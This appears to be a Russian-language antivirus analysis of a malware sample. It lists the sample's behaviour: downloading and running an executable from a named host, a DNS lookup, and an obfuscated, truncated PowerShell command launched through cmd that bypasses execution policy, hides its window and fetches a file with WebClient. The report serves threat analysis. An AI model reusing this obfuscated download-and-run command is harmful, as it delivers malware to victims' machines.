Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://moonshards.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "PO^WE^rsh^elL.Ex^E ^-ex^EcUtIO^NP^o^L^ic^y ^BYpa^S^s -^nOprO^fiLe^ -wi^nDOw^sT^YLE h^iddEN^ ^(neW-ob^j^Ec^t ^sY^S^t^e^M.n^e^T.WeBclIEnT).down^lo^adfI^Le('http://moonshard...
Сетевая активность
UDP
- DNS ASK mo###hards.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "PO^WE^rsh^elL.Ex^E ^-ex^EcUtIO^NP^o^L^ic^y ^BYpa^S^s -^nOprO^fiLe^ -wi^nDOw^sT^YLE h^iddEN^ ^(neW-ob^j^Ec^t ^sY^S^t^e^M.n^e^T.WeBclIEnT).down^lo^adfI^Le('http://moonshard...' (со скрытым окном)
